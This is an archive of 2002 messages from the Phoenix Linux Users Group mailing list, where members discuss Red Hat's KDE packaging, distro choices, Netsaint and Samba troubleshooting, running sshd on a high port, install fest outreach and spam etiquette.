Jun 27 20:28:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 13:28:01 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> Message-ID: <1025209681.14660.2.camel@barney.azapple.com> On Thu, 2002-06-27 at 11:08, Tom Achtenberg wrote: > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > ----- According to Bernard Rosenkranz (bero@redhat.de and builder of the rpm's for KDE / Redhat) the version included with 7.3 was a cvs snapshot incorporating 70 - 80% of what was the final 3.01 and he feels that there is little reason to update at this juncture. But of course, you can rant on. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:31:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 13:31:17 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <20020627193318.32149.qmail@web10605.mail.yahoo.com> References: <20020627193318.32149.qmail@web10605.mail.yahoo.com> Message-ID: <1025209877.14660.5.camel@barney.azapple.com> On Thu, 2002-06-27 at 12:33, Alpha Zenon Sanchez wrote: > I'll have to agree with Tom. When I first purchased > Red Hat 7.2, I registered as a user for their 'free' > tech support for 30 days. I didn't fell right paying > for Linux, but thought the 30-day support would be > worth it (I'm new Linux user). > > When I had problems with my CD-ROM, I went to their > web-site for answers. I logged into the members > section > for answers, but kept on getting 'page cannot be > displayed' errors. I was assuming their user's > on-line > system was down. > > However, this persisted for a couple of days. I then > stumbled upon this group. Got help...and got help > quick! > > I'm not too loyal to Red Hat, and someday, I'll try > another distribution. But for now, my machine runs > great (thanks to all of you). > --- IIRC, Konqueror (at least as supplied by redhat) defaulted on a new install to java/javascript off and that would cause some sites not to work. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:26:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 13:26:56 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B536@mail.int.fh.org> Message-ID: <000a01c21e18$fbd083b0$0301010a@tickticker.com> was that state of the art U.P. technology? :-) anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 11:25 AM Subject: RE: Install fest interest generation > When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Thursday, June 27, 2002 11:06 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Install fest interest generation > > > i learned assembly and pascal in HS in michigan..... > > > ----- Original Message ----- > From: "Michelle Lowman" > To: > Sent: Thursday, June 27, 2002 9:46 AM > Subject: Re: Install fest interest generation > > > > Many of my Linux students are school tech coordinators (they're all in KS, > tho). I'll keep this in mind and see if I can contact some local tech > coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL > in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > > > Michelle Lowman > > > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > > Tom Emerson wrote: > > > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > > interest at the Middle School level. > > > > > > Reaching back in memory, middle school, we had access to the County's > > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > > school, and punch cards, what a let-down.) My son's computer education > > > isn't too bad, but is limited to very basic office app's (M$). Next > > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > > monitor). > > > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > > there _will_ be an interest at the middle school level. > > > > > > - tom e. > > > ---------- > > > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > > > How about advertising the Installfest in the local school systems? The > > > local high schools are probably full of the curious. And students like > > > free:-) > > > > > > It wouldn't take much get the message out to the schools, perhaps > posting it > > > in the computer labs. then again, IANAE (I am not an educator) but some > on > > > this list are. > > > > > > anthony > > > > > > ----- Original Message ----- > > > From: "Jim" > > > To: > > > Sent: Wednesday, June 26, 2002 6:47 PM > > > Subject: Re: (no subject) > > > > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > Hash: SHA1 > > > > > > > > Install Fests generally attract the curious and the convinced. They > are > > > > either convinced that they want to switch to Linux or they are > curious. > > > They > > > > are also usually Joe Sixpack types who are getting on the clue train > or > > > > geeks-in-training who know that there is a lot of fun under the hood. > Not > > > too > > > > many suits show up. That is another project in itself. > > > > > > > > If we could wangle out way into one of the many computer shows at the > > > Civic > > > > Plaza, those suits and their minions do like to be impressed by the > power, > > > > stability, and performance of the kinds of apps that they license and > use > > > on > > > > a daily basis > > > > > > > > On Wednesday 26 June 2002 18:05, you wrote: > > > > >
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Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Would you settle for a product that is 70 to 80% complete? How about if they left off one tire on your car? Bernard's attitude is a horrible example of bad customer service. (If what you report is accurate.) -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Thursday, June 27, 2002 1:28 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Crappy Products Cost More!! On Thu, 2002-06-27 at 11:08, Tom Achtenberg wrote: > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > ----- According to Bernard Rosenkranz (bero@redhat.de and builder of the rpm's for KDE / Redhat) the version included with 7.3 was a cvs snapshot incorporating 70 - 80% of what was the final 3.01 and he feels that there is little reason to update at this juncture. But of course, you can rant on. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:00:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:00:30 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53A@mail.int.fh.org> For what it is worth, I have never been able to get Konqueror any version to work on a Java site. And yes I have it enabled and installed. Netscape and Mozilla both work on those sites. -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Thursday, June 27, 2002 1:31 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Crappy Products Cost More!! On Thu, 2002-06-27 at 12:33, Alpha Zenon Sanchez wrote: > I'll have to agree with Tom. When I first purchased > Red Hat 7.2, I registered as a user for their 'free' > tech support for 30 days. I didn't fell right paying > for Linux, but thought the 30-day support would be > worth it (I'm new Linux user). > > When I had problems with my CD-ROM, I went to their > web-site for answers. I logged into the members > section > for answers, but kept on getting 'page cannot be > displayed' errors. I was assuming their user's > on-line > system was down. > > However, this persisted for a couple of days. I then > stumbled upon this group. Got help...and got help > quick! > > I'm not too loyal to Red Hat, and someday, I'll try > another distribution. But for now, my machine runs > great (thanks to all of you). > --- IIRC, Konqueror (at least as supplied by redhat) defaulted on a new install to java/javascript off and that would cause some sites not to work. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:01:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:01:32 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> Naw, I'm not a YouPer -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Thursday, June 27, 2002 1:27 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation was that state of the art U.P. technology? :-) anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 11:25 AM Subject: RE: Install fest interest generation > When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Thursday, June 27, 2002 11:06 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Install fest interest generation > > > i learned assembly and pascal in HS in michigan..... > > > ----- Original Message ----- > From: "Michelle Lowman" > To: > Sent: Thursday, June 27, 2002 9:46 AM > Subject: Re: Install fest interest generation > > > > Many of my Linux students are school tech coordinators (they're all in KS, > tho). I'll keep this in mind and see if I can contact some local tech > coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL > in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > > > Michelle Lowman > > > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > > Tom Emerson wrote: > > > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > > interest at the Middle School level. > > > > > > Reaching back in memory, middle school, we had access to the County's > > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > > school, and punch cards, what a let-down.) My son's computer education > > > isn't too bad, but is limited to very basic office app's (M$). Next > > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > > monitor). > > > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > > there _will_ be an interest at the middle school level. > > > > > > - tom e. > > > ---------- > > > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > > > How about advertising the Installfest in the local school systems? The > > > local high schools are probably full of the curious. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:07:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Thu, 27 Jun 2002 16:07:10 -0500 (CDT) Subject: Membership database In-Reply-To: Message-ID: > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly acceptable. There are many companies I deal with that I request their SPAM because its valuable to me (discounts, special events, promotions etc) and I know they dont abuse me. Other people I do business with I woudl never give them my information or if I did I certainly would opt in for them to send me anything. My two cents. -Derek From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:14:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 14:14:55 -0700 Subject: Netsaint Message-ID: <200206271414.55584.zen2now@qwest.net> Ok here goes, cause i guess i am going to be one of those that will struggle. i downloaded and installed NEAT4.9 because at 1st glance it looked like it would make administration easier. i can pull up the web interface and edit the host.cfg, which BTW i couldnt do by using the httpd default group and chmod g+w host.cfg as suggested in the README.txt for NEAT. the problem now is when i try to verify and restart netsaint using the NEAT web interface i get this error msg: ERROR - userid apacheuser (this is not the real default httpd user) cannot run /usr/local/netsaint/bin/netsaint to verify your config. This is probably your httpd userid. Fix this i am not sure why it is using this apache user, it is not entered in the netsaint.cfg file. any ideas? slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:17:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Katherman) Date: 27 Jun 2002 14:17:53 -0700 Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <1025212690.21221.0.camel@erikat> What do you get when you do a smbstatus? On Thu, 2002-06-27 at 11:13, Carl Parrish wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:16:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Thu, 27 Jun 2002 14:16:00 -0700 Subject: secure shell using other ports than 22 References: Message-ID: <3D1B8090.5388F144@cox.net> Can you run sshd as a normal user on a high port, thus eliminating any chance of a root compromise? Vic From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 21:21:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 14:21:08 -0700 Subject: Distro - NO WAR Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> I'm willing to change distro's off RH for one that is non-geek friendly and fully supports KDE3.0.1 Any suggestions? Preferably with downloadable iso's Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:03:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:03:14 -0700 Subject: Distro - NO WAR In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> Message-ID: <200206271503.14923@granroth.org> On Thursday 27 June 2002 02:21 pm, Tom Achtenberg wrote: > I'm willing to change distro's off RH for one that is non-geek friendly > and fully supports KDE3.0.1 Any suggestions? Preferably with > downloadable iso's FWIW, the three distros that support KDE pretty reliably are SuSE, Mandrake, and Conectiva. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:04:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 15:04:57 -0700 Subject: Netsaint In-Reply-To: <200206271414.55584.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> Message-ID: <200206271504.57236.zen2now@qwest.net> maybe a better question would be, is Netsaint worth the hassle? are there better tools for this that are easier to setup? slr On Thursday 27 June 2002 02:14 pm, slr wrote: > Ok here goes, cause i guess i am going to be one of those that will > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > looked like it would make administration easier. i can pull up the web > interface and edit the host.cfg, which BTW i couldnt do by using the httpd > default group and chmod g+w host.cfg as suggested in the README.txt for > NEAT. the problem now is when i try to verify and restart netsaint using > the NEAT web interface i get this error msg: > > ERROR - userid apacheuser (this is not the real default httpd user) cannot > run /usr/local/netsaint/bin/netsaint to verify your config. This is > probably your httpd userid. Fix this > > i am not sure why it is using this apache user, it is not entered in the > netsaint.cfg file. any ideas? > > slr > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:02:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:02:25 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Message-ID: <200206271502.25609@granroth.org> On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if > they left off one tire on your car? Bernard's attitude is a horrible > example of bad customer service. (If what you report is accurate.) To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). RedHat gives him next to no support internally. Not that that excuses RedHat at all... As for your java issues with Konqueror, it depends on what version of Java you are using. You need java 1.3 or better (the IBM version works great for me). Java support in the upcoming 3.1 (not due until this Fall) is *much* improved over the 3.0.x series as well. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Thu, 27 Jun 2002 15:00:00 -0700 Subject: Install fest interest generation In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> Message-ID: <200206271500.00141@granroth.org> On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > Naw, I'm not a YouPer It's "Yooper", not "Youper". :-) For the record, I spent the first 22 years of my life as a Yooper living in the northernmost part of Michigan. Five years living here has cured me of all that, though :-) -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 27 Jun 2002 15:08:14 -0700 (MST) Subject: Samba Help?? In-Reply-To: <02062711473913.07972@nova.wedge.org> Message-ID: On Thu, 27 Jun 2002, Jim wrote: > HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too > late, Carl ::grin:: I sent email to the registered address for the Tempe party at the mozilla site... it bounced back to me after the fact... bit of a bummer. \\/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 27 Jun 2002 15:39:08 -0700 (PDT) Subject: Crappy Products Cost More!! In-Reply-To: <3D1B02F4.3E355CF9@georgetoft.com> Message-ID: <20020627223908.5883.qmail@web13907.mail.yahoo.com> Just to throw in something from the other side of the coin. My dad is on the other side of the business, he hires consultants to do networking jobs. One of the men he really like is quite expensive, and he told me that that was one of the things that got his attention. He feels since he charges more he must do great work. He also made the comment that he would not of felt comfortable going with someone much cheaper because he would of felt uncomfortable with there ability. mike --- George Toft wrote: > Kevin Brown wrote: > [snip] > > > (Another small story) > > > A friend of mine runs a technology related > service business. He was getting > > > too much work so he started raising his quotes. > He started getting even more > > > work from people that had dropped him before > because he was "priced too low to > > > be very good" as they later told him. > > > (End of small story) > > > > This is because you either don't know what your > skills are worth, or will take > > more time than someone charging more per hour and > cost them more in the long run > > (time == money, especially during downtime). At > least in their eyes. > > > > I knew someone with the same story. When he charged > $35/hour, he was > swamped. Then he charged $75/hour, and he was > losing business. He > raised it to $125/hour and he was getting business > he had lost before. > Their stated reason for not hiring him at $75/hour > was they though he > didn't know what he was doing at that price. For > $125/hour they thought > he was competent. > > No change in technical skill - just a change in > marketing. > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:43:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 15:43:04 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53F@mail.int.fh.org> Well, pretty close for a troll :) At least I'm not from Ohio. -----Original Message----- From: Kurt Granroth [mailto:kurt@granroth.org] Sent: Thursday, June 27, 2002 3:00 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > Naw, I'm not a YouPer It's "Yooper", not "Youper". :-) For the record, I spent the first 22 years of my life as a Yooper living in the northernmost part of Michigan. Five years living here has cured me of all that, though :-) -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:41:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 15:41:32 -0700 Subject: Install fest interest generation In-Reply-To: <200206271500.00141@granroth.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> Message-ID: <02062715413316.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Down in Detroit we referred to youse guys who lived in gods country north of the bridge as you-pee-ers ::grin:: On Thursday 27 June 2002 15:00, you wrote: > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > Naw, I'm not a YouPer > > It's "Yooper", not "Youper". :-) > > For the record, I spent the first 22 years of my life as a Yooper living in > the northernmost part of Michigan. Five years living here has cured me of > all that, though :-) - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRuUnSsk3ywszI1FEQKQeQCfWKIkmAxn6SS8sWTgFcr2/pN6cO8AoJt1 x7aL47MbwnUjcXA35miRvU/F =qGzn -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:41:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 15:41:55 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. -----Original Message----- From: Kurt Granroth [mailto:kurt@granroth.org] Sent: Thursday, June 27, 2002 3:02 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if > they left off one tire on your car? Bernard's attitude is a horrible > example of bad customer service. (If what you report is accurate.) To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). RedHat gives him next to no support internally. Not that that excuses RedHat at all... As for your java issues with Konqueror, it depends on what version of Java you are using. You need java 1.3 or better (the IBM version works great for me). Java support in the upcoming 3.1 (not due until this Fall) is *much* improved over the 3.0.x series as well. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:14:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 16:14:57 -0700 (MST) Subject: secure shell using other ports than 22 In-Reply-To: <3D1B8090.5388F144@cox.net> Message-ID: Am 27. Jun, 2002 schwätzte Victor Odhner so: > Can you run sshd as a normal user on a high port, > thus eliminating any chance of a root compromise? Yes. I used to do that at ASU as ssh wasn't available. You can't log in as multiple users, but if you're just using it for one id, then it works great. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:13:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 16:13:17 -0700 (MST) Subject: Membership database In-Reply-To: Message-ID: Am 27. Jun, 2002 schwätzte Derek Neighbors so: > > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. > > I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly If you've asked to receieve it, it isn't SPAM. That's why we can gently use the announce list ( something we should do more often ). If, OTOH, we just snarf all the email addies in our lists and start mass-mailing them, then that's SPAM. They've signed up for the list mechanisms. Using the email addies outside those contexts is opt-out. There's no need to hop outside the confines of the lists. People have signed up for those, let's use them. Let's not start direct emailing with addies reaped from the mailing lists. > acceptable. There are many companies I deal with that I request their > SPAM because its valuable to me (discounts, special events, promotions > etc) and I know they dont abuse me. Other people I do business with I > woudl never give them my information or if I did I certainly would opt in > for them to send me anything. We're mostly saying the same thing, except we're differing on the definition of SPAM. ciao, der.hans -- # https://www.LuftHans.com/ # To announce that there must be no criticism of the President, or that we # are to stand by the President, right or wrong, is not only unpatriotic # and servile, but is morally treasonable to the American public. # -- Theodore Roosevelt, 1918 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:50:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lowell Hamilton) Date: 27 Jun 2002 15:50:48 -0700 Subject: Netsaint In-Reply-To: <200206271504.57236.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> Message-ID: <1025218248.10747.90.camel@syz.broken-bit.com> > maybe a better question would be, is Netsaint worth the hassle? are there > better tools for this that are easier to setup? Depends on what you want to monitor .. if you want to check a tiny webserver or just a couple little hosts with the most basic checks, netsaint is a lot of extra hassle. Netsaint doesn't become really handy until you start implementing larger networks or have several hosts monitoring dozens of services each. I have a 5100-point of failure netsaint install going watching almost 100 points of failure on several machines, something no other opensource monitoring software could handle without blowing the system up or becoming unmaintainable. For small stuff though, hit freshmeat .. software like bigbrother would probably work. In regards to your problem, it sounds like NEAT set the userid in /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file and make sure all the paths and users are correct for what you need. Lowell On Thu, 2002-06-27 at 15:04, slr wrote: > > slr > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > Ok here goes, cause i guess i am going to be one of those that will > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > looked like it would make administration easier. i can pull up the web > > interface and edit the host.cfg, which BTW i couldnt do by using the httpd > > default group and chmod g+w host.cfg as suggested in the README.txt for > > NEAT. the problem now is when i try to verify and restart netsaint using > > the NEAT web interface i get this error msg: > > > > ERROR - userid apacheuser (this is not the real default httpd user) cannot > > run /usr/local/netsaint/bin/netsaint to verify your config. This is > > probably your httpd userid. Fix this > > > > i am not sure why it is using this apache user, it is not entered in the > > netsaint.cfg file. any ideas? > > > > slr > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- : Lowell Hamilton syz@b r o k e n - b i t . c o m : : Linux OpenBSD Security QMail Perl/Mod_perl SQL : From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:10:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 27 Jun 2002 16:10:28 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> Message-ID: <3D1B9B64.9070409@qwest.net> Tom Achtenberg wrote: >I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. > >I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. > >-----Original Message----- >From: Kurt Granroth [mailto:kurt@granroth.org] >Sent: Thursday, June 27, 2002 3:02 PM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Crappy Products Cost More!! > > >On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > >>Would you settle for a product that is 70 to 80% complete? How about if >>they left off one tire on your car? Bernard's attitude is a horrible >>example of bad customer service. (If what you report is accurate.) >> >> > >To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). >RedHat gives him next to no support internally. > >Not that that excuses RedHat at all... > >As for your java issues with Konqueror, it depends on what version of Java >you are using. You need java 1.3 or better (the IBM version works great >for me). Java support in the upcoming 3.1 (not due until this Fall) is >*much* improved over the 3.0.x series as well. > > mandrake has mandrake update. It seems to be fairly good, i have been running 8.2 for about a month and a half and my system is current. Ray From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:23:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 16:23:22 -0700 Subject: Membership database In-Reply-To: References: Message-ID: <02062716232217.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I agree with Hans. We have the tools (i.e. the mail lists themselves) so why not use them? Opt-in if you choose, do nothing (except take the time to read the post) if you dont. On Thursday 27 June 2002 16:13, you wrote: > Am 27. Jun, 2002 